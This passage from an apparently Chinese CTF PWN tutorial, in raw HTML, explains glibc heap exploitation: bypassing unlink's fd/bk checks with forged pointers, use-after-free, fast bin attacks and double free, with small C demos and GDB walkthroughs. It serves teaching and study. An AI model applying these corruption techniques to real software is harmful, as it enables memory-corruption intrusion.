class="token operator">-></span>fd_nextsize <span class="token operator">!=</span> <span class="token constant">NULL</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      \    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__builtin_expect</span> <span class="token punctuation">(</span>P<span class="token operator">-></span>fd_nextsize<span class="token operator">-></span>bk_nextsize <span class="token operator">!=</span> P<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span>      \<span class="token operator">||</span> <span class="token function">__builtin_expect</span> <span class="token punctuation">(</span>P<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">!=</span> P<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    \      <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span>check_action<span class="token punctuation">,</span>      \       <span class="token string">"corrupted double-linked list (not small)"</span><span class="token punctuation">,</span>    \       P<span class="token punctuation">,</span> AV<span class="token punctuation">)</span><span class="token punctuation">;</span>      \            <span class="token keyword">if</span> <span class="token punctuation">(</span>FD<span class="token operator">-></span>fd_nextsize <span class="token operator">==</span> <span class="token constant">NULL</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      \                <span class="token keyword">if</span> <span class="token punctuation">(</span>P<span class="token operator">-></span>fd_nextsize <span class="token operator">==</span> P<span class="token punctuation">)</span>      \                  FD<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> FD<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> FD<span class="token punctuation">;</span>      \                <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>      \                    FD<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> P<span class="token operator">-></span>fd_nextsize<span class="token punctuation">;</span>      \                    FD<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> P<span class="token operator">-></span>bk_nextsize<span class="token punctuation">;</span>      \                    P<span class="token operator">-></span>fd_nextsize<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> FD<span class="token punctuation">;</span>      \                    P<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> FD<span class="token punctuation">;</span>      \                  <span class="token punctuation">&#125;</span>      \              <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>      \                P<span class="token operator">-></span>fd_nextsize<span class="token operator">-></span>bk_nextsize <span class="token operator">=</span> P<span class="token operator">-></span>bk_nextsize<span class="token punctuation">;</span>      \                P<span class="token operator">-></span>bk_nextsize<span class="token operator">-></span>fd_nextsize <span class="token operator">=</span> P<span class="token operator">-></span>fd_nextsize<span class="token punctuation">;</span>      \              <span class="token punctuation">&#125;</span>      \          <span class="token punctuation">&#125;</span>      \      <span class="token punctuation">&#125;</span>      \<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其中，对 <code>fd</code> 和 <code>bk</code> 的检查：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">// fd bk</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__builtin_expect</span> <span class="token punctuation">(</span>FD<span class="token operator">-></span>bk <span class="token operator">!=</span> P <span class="token operator">||</span> BK<span class="token operator">-></span>fd <span class="token operator">!=</span> P<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>                      \  <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span>check_action<span class="token punctuation">,</span> <span class="token string">"corrupted double-linked list"</span><span class="token punctuation">,</span> P<span class="token punctuation">,</span> AV<span class="token punctuation">)</span><span class="token punctuation">;</span>  \<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>如果按照没有防护的 unlink 中提到的场景，当前：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">FD <span class="token operator">-></span> bk <span class="token operator">=</span> target addr <span class="token operator">-</span> <span class="token number">12</span> <span class="token operator">+</span> <span class="token number">12</span> <span class="token operator">=</span> target addrBK <span class="token operator">-></span> fd <span class="token operator">=</span> expect value <span class="token operator">+</span> <span class="token number">8</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>但在这种情况下，修改 GOT 表项的方法可能就不可用了</p><p>不过，我们可以通过伪造的方式绕过这个机制：</p><p>首先通过覆盖，将 <code>Nextchunk</code> 的 <code>FD</code> 指针指向 <code>fakeFD</code>，将 <code>Nextchunk</code> 的 <code>BK</code> 指针指向 <code>fakeBK</code></p><p>为了通过验证，需要满足：</p><ul><li><code>fakeFD -&gt; bk == P</code>，即：<code>*(fakeFD + 12) == P</code></li><li><code>fakeBK -&gt; fd == P</code>，即：<code>*(fakeBK + 8) == P</code></li></ul><p>当满足上述两式时，可以进入 unlink 的环节，进行如下操作：</p><ul><li><code>fakeFD -&gt; bk = fakeBK</code>，即：<code>*(fakeFD + 12) = fakeBK</code></li><li><code>fakeBK -&gt; fd = fakeFD</code>，即：<code>*(fakeBK + 8) = fakeFD</code></li></ul><p>如果让 <code>fakeFD + 12</code> 和 <code>fakeBK + 8</code> 指向同一个指向 P 的指针，那么：</p><ul><li><code>*P = P - 8</code></li><li><code>*P = P - 12</code></li></ul><p>通过这种方式，P 的指针指向了比自己低 12 的地址处</p><blockquote><p>此方法虽然不可以实现任意地址写，但是可以修改指向 <code>chunk</code> 的指针，这样的修改是可以达到一定的效果的</p></blockquote><p>如果我们想要使得两者都指向 P，只需要按照如下方式修改即可：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A828.png" alt="CTF - PWN_堆相关的漏洞与利用28.png"></p><p>由于 P 在 unlink 前是指向正确的 <code>chunk</code> 的指针，因此不受如下检测的影响：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token comment">// 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">__builtin_expect</span> <span class="token punctuation">(</span><span class="token function">chunksize</span><span class="token punctuation">(</span>P<span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token function">prev_size</span> <span class="token punctuation">(</span><span class="token function">next_chunk</span><span class="token punctuation">(</span>P<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>      \  <span class="token function">malloc_printerr</span> <span class="token punctuation">(</span><span class="token string">"corrupted size vs. prev_size"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>               \<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><blockquote><p>如果我们设置 <code>Nextchunk</code> 的 <code>fd</code> 和 <code>bk</code> 均为 <code>Nextchunk</code> 的地址也是可以绕过上面的检测的</p><p>但是这样不能达到修改指针内容的效果</p></blockquote><hr><h2 id="利用思路-1"><a href="#利用思路-1" class="headerlink" title="利用思路"></a>利用思路</h2><p>利用 unlink 漏洞的条件：</p><ol><li>存在 UAF 漏洞，可修改 <code>free</code> 状态下 <code>small bin</code> 或是 <code>unsorted bin</code> 的 <code>fd</code> 和 <code>bk</code> 指针  </li><li>已知位置存在一个指针指向可进行 UAF 的 <code>chunk</code></li></ol><p>实现的效果：使得已指向存在 UAF 漏洞的 <code>chunk</code> 的指针 <code>ptr</code> 变为 <code>ptr - 0x18</code></p><p>假设指向存在 UAF 漏洞的 <code>chunk</code> 的指针的地址为 <code>ptr</code>，则实现的主要步骤为：</p><ol><li>修改 <code>fd</code> 为 <code>ptr - 0x18</code>  </li><li>修改 <code>bk</code> 为 <code>ptr - 0x10</code>  </li><li>触发 unlink，<code>ptr</code> 处的指针会变为 <code>ptr - 0x18</code></li></ol><hr><h1 id="Use-After-Free"><a href="#Use-After-Free" class="headerlink" title="Use After Free"></a>Use After Free</h1><blockquote><p>Use After Free 简称 UAF，即：释放后使用漏洞，指一个内存块被释放之后再次被使用</p></blockquote><p>对于内存块释放之后的操作，有以下几种情况：</p><ol><li><p><strong>内存块被释放后，其对应的指针被设置为 NULL</strong>，然后再次使用，自然程序会崩溃  </p></li><li><p><strong>内存块被释放后，其对应的指针没有被设置为 NULL</strong>，然后在它下一次被使用之前，<em>没有代码对这块内存块进行修改</em>，那么程序很有可能可以正常运转  </p></li><li><p><strong>内存块被释放后，其对应的指针没有被设置为 NULL</strong>，但是在它下一次使用之前，<em>有代码对这块内存块进行了修改</em>，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题</p></li></ol><p>通常我们所说的 UAF 漏洞对应的就是 2 和 3</p><p>也就是说，<em>UAF 漏洞利用的前提是：内存块被释放后，其对应的指针没有被设置为 NULL</em></p><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token keyword">typedef</span> <span class="token keyword">struct</span> <span class="token class-name">name</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">char</span> <span class="token operator">*</span>myname<span class="token punctuation">;</span>  <span class="token keyword">void</span> <span class="token punctuation">(</span><span class="token operator">*</span>func<span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span>str<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> NAME<span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">myprint</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span>str<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%s\n"</span><span class="token punctuation">,</span> str<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token keyword">void</span> <span class="token function">printmyname</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"call print my name\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  NAME <span class="token operator">*</span>a<span class="token punctuation">;</span>  a <span class="token operator">=</span> <span class="token punctuation">(</span>NAME <span class="token operator">*</span><span class="token punctuation">)</span><span class="token function">malloc</span><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">name</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a <span class="token operator">-></span> func <span class="token operator">=</span> myprint<span class="token punctuation">;</span>  a <span class="token operator">-></span> myname <span class="token operator">=</span> <span class="token string">"I can also use it"</span><span class="token punctuation">;</span>  a <span class="token operator">-></span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token string">"this is my function"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// free without modify</span>  a <span class="token operator">-></span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token string">"I can also use it"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// free with modify</span>  a <span class="token operator">-></span> func <span class="token operator">=</span> printmyname<span class="token punctuation">;</span>  a <span class="token operator">-></span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token string">"this is my function"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// set NULL</span>  a <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"this pogram will crash...\n"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  a <span class="token operator">-></span> <span class="token function">func</span><span class="token punctuation">(</span><span class="token string">"can not be printed..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>运行结果：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A829.png" alt="CTF - PWN_堆相关的漏洞与利用29.png"></p><ul><li><p>即使 <code>free</code> 掉了 <code>chunk a</code>，我们依然可以通过 <code>a -&gt; func(&quot;I can also use it&quot;)</code> 调用 <code>myprint()</code> 打印输出  </p></li><li><p>即使 <code>free</code> 掉了 <code>chunk a</code>，将 <code>a -&gt; func</code> 修改为 <code>printmyname()</code>，也可以正常使用 <code>printf(&quot;call print my name\n&quot;)</code> 功能</p></li><li><p>但是当 <code>chunk a</code> 被置为 NULL 后，<code>a -&gt; func(&quot;can not be printed...&quot;)</code> 便无法使用</p></li></ul><p>接下来，我们通过 GDB 调试分析一下整个过程</p><p>在执行 <code>free(a)</code> 之前，堆布局如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A830.png" alt="CTF - PWN_堆相关的漏洞与利用30.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A831.png" alt="CTF - PWN_堆相关的漏洞与利用31.png"></p><p>执行 <code>free(a)</code> 后，<code>chunk a</code> 被置于 <code>fast bin</code> 中</p><p><strong><code>myname</code> 指针被置为 NULL，但 <code>func</code> 指针未发生变化</strong>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A832.png" alt="CTF - PWN_堆相关的漏洞与利用32.png"></p><p>此时通过 <code>a -&gt; func(&quot;I can also use it&quot;)</code> 依然可以调用 <code>myprint()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A833.png" alt="CTF - PWN_堆相关的漏洞与利用33.png"></p><p>当我们将 <code>func</code> 指针修改为 <code>printmyname()</code> 后，通过 <code>a -&gt; func(&quot;this is my function&quot;)</code> 也可以调用 <code>printmyname()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A834.png" alt="CTF - PWN_堆相关的漏洞与利用34.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A835.png" alt="CTF - PWN_堆相关的漏洞与利用35.png"></p><p>当我们通过 <code>a = NULL</code> 将其置为 NULL 后，<strong>堆的布局并未发生变化</strong>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A836.png" alt="CTF - PWN_堆相关的漏洞与利用36.png"></p><p>但当我们再次使用 <code>a -&gt; func(&quot;can not be printed...&quot;)</code> 的时候</p><p>**程序会直接报出段错误，而不是继续调用 <code>0x4005d1</code> 地址处的 <code>printmyname()</code>**：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A837.png" alt="CTF - PWN_堆相关的漏洞与利用37.png"></p><blockquote><p>发生段错误的关键在于：</p><p>我们前面执行 <code>a = NULL</code> 的时候将 RBP - 8 地址处置为了 0，因此执行 <code>mov rax, qword ptr [rbp - 8]</code> 时 RAX &#x3D; 0，此时执行 <code>mov rax, qword ptr [rax + 8]</code> 要求从内存地址为 8 的地方取值赋给 RAX，显然这个内存地址是错误的</p></blockquote><hr><h1 id="Fast-bin-Attack"><a href="#Fast-bin-Attack" class="headerlink" title="Fast bin Attack"></a>Fast bin Attack</h1><blockquote><p>Fast bin Attack 是一类漏洞的利用方法，是指所有基于 <code>fast bin</code> 机制的漏洞利用方法</p><p>参考文章：<a href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack/">Fastbin Attack - CTF Wiki</a></p></blockquote><p>Fast bin Attack 利用的前提：</p><ul><li>存在堆溢出、UAF 等能控制 <code>chunk</code> 内容的漏洞  </li><li>漏洞发生于 <code>fast bin</code> 类型的 <code>chunk</code> 中</li></ul><p>由于 <code>fast bin</code> 使用单链表来维护释放的堆块，并且<strong>由 <code>fast bin</code> 管理的 <code>chunk</code> 即使被释放，其 <code>next_chunk</code> 的 <code>prev_inuse</code> 位也不会被清空</strong></p><p>示例：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">void</span> <span class="token operator">*</span>chunk1<span class="token punctuation">,</span> <span class="token operator">*</span>chunk2<span class="token punctuation">,</span> <span class="token operator">*</span>chunk3<span class="token punctuation">;</span>    chunk1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    chunk2 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    chunk3 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token comment">// 进行释放</span>    <span class="token function">free</span><span class="token punctuation">(</span>chunk1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>chunk2<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>chunk3<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>执行三次 <code>free</code> 进行释放后</p><p>此时位于 <code>main_arena</code> 中的 <code>fastbin</code> 链表中已经储存了指向 <code>chunk3</code> 的指针（最近释放），并且 <code>chunk3</code>、<code>chunk2</code>、<code>chunk1</code> 构成了一个单链表：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A851.png" alt="CTF - PWN_堆相关的漏洞与利用51.png"></p><hr><h2 id="Double-Free"><a href="#Double-Free" class="headerlink" title="Double Free"></a>Double Free</h2><blockquote><p>Double free 指同一个指针指向的内存被 <code>free</code> 两次</p><p>堆上的某块内存被释放后，如果没有将指向该堆块的指针清零，就可以利用程序的其他部分对该内存进行再次的 <code>free</code>，<strong>最终得到一个可用的空闲块指针，并且能够修改已经被释放的空闲块中的内容</strong>，从而利用这个漏洞实现<strong>任意地址写</strong></p><p>参考文章：<a href="https://www.anquanke.com/post/id/241598">堆利用系列之堆漏洞-安全客 - 安全资讯平台</a></p></blockquote><p>总的来说，double free 就是通过 2 次 <code>free</code>，2 次 <code>malloc</code>，再 1 次 <code>free</code>，最终得到可用的空闲块指针，并且可以修改空闲块中的内容</p><p>详细来说就是：</p><ol><li>首先两次 <code>free</code> 同一块地址（两次 <code>free</code> 之间需要先 <code>free</code> 一次其他的 <code>chunk</code> 来绕过检测）  </li><li>然后再连续两次 <code>malloc</code> 相同大小  </li><li>然后再 <code>free</code> 掉其中一个</li><li>那么剩下那个指针指向的就是空闲块的 <code>chunk</code>，而且还是可以被修改的</li></ol><p>示例：（64 位程序）</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string.h></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdlib.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">void</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>ptr0<span class="token punctuation">,</span> <span class="token operator">*</span>ptr1<span class="token punctuation">,</span> <span class="token operator">*</span>ptr2<span class="token punctuation">;</span>    ptr0 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// chunk1</span>    ptr1 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// chunk2</span>    ptr2 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// chunk3</span>    <span class="token keyword">char</span> <span class="token operator">*</span>data0 <span class="token operator">=</span> <span class="token string">"00000000"</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>data1 <span class="token operator">=</span> <span class="token string">"11111111"</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>data2 <span class="token operator">=</span> <span class="token string">"22222222"</span><span class="token punctuation">;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr0<span class="token punctuation">,</span> data0<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr1<span class="token punctuation">,</span> data1<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>       <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr2<span class="token punctuation">,</span> data2<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk1: ptr0 @ %p\t contains: %s\n"</span><span class="token punctuation">,</span> ptr0<span class="token punctuation">,</span> ptr0<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk2: ptr1 @ %p\t contains: %s\n"</span><span class="token punctuation">,</span> ptr1<span class="token punctuation">,</span> ptr1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk3: ptr2 @ %p\t contains: %s\n\n"</span><span class="token punctuation">,</span> ptr2<span class="token punctuation">,</span> ptr2<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr0<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr1<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr0<span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// double free</span>    <span class="token keyword">char</span> <span class="token operator">*</span>ptr3<span class="token punctuation">,</span> <span class="token operator">*</span>ptr4<span class="token punctuation">,</span> <span class="token operator">*</span>ptr5<span class="token punctuation">;</span>    ptr3 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// chunk4</span>    ptr4 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// chunk5</span>    ptr5 <span class="token operator">=</span> <span class="token function">malloc</span><span class="token punctuation">(</span><span class="token number">0x30</span><span class="token punctuation">)</span><span class="token punctuation">;</span>   <span class="token comment">// chunk6</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr3<span class="token punctuation">,</span> data0<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr4<span class="token punctuation">,</span> data1<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>       <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr5<span class="token punctuation">,</span> data2<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk4: ptr3 @ %p\t contains: %s\n"</span><span class="token punctuation">,</span> ptr3<span class="token punctuation">,</span> ptr3<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk5: ptr4 @ %p\t contains: %s\n"</span><span class="token punctuation">,</span> ptr4<span class="token punctuation">,</span> ptr4<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk6: ptr5 @ %p\t contains: %s\n\n"</span><span class="token punctuation">,</span> ptr5<span class="token punctuation">,</span> ptr5<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">free</span><span class="token punctuation">(</span>ptr3<span class="token punctuation">)</span><span class="token punctuation">;</span>    ptr3 <span class="token operator">=</span> <span class="token number">0x0</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk4: ptr3 @ %p\n"</span><span class="token punctuation">,</span> ptr3<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk6: ptr5 @ %p\n\n"</span><span class="token punctuation">,</span> ptr5<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>data3 <span class="token operator">=</span> <span class="token string">"15935728"</span><span class="token punctuation">;</span>    <span class="token function">memcpy</span><span class="token punctuation">(</span>ptr5<span class="token punctuation">,</span> data3<span class="token punctuation">,</span> <span class="token number">0x8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Chunk5: @ %p\t contains: %s\n\n"</span><span class="token punctuation">,</span> ptr5<span class="token punctuation">,</span> ptr5<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我们通过 GDB 调试观察一下整个执行流程</p><p>刚开始创建三个堆块 <code>ptr0</code>、<code>ptr1</code> 和 <code>ptr2</code>，并通过 <code>data0</code>、<code>data1</code>、<code>data2</code> 进行赋值：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20PWN_%E5%A0%86%E7%9B%B8%E5%85%B3%E7%9A%84%E6%BC%8F%E6%B4%9E%E4%B8%8E%E5%88%A9%E7%94%A838.png" alt="CTF - 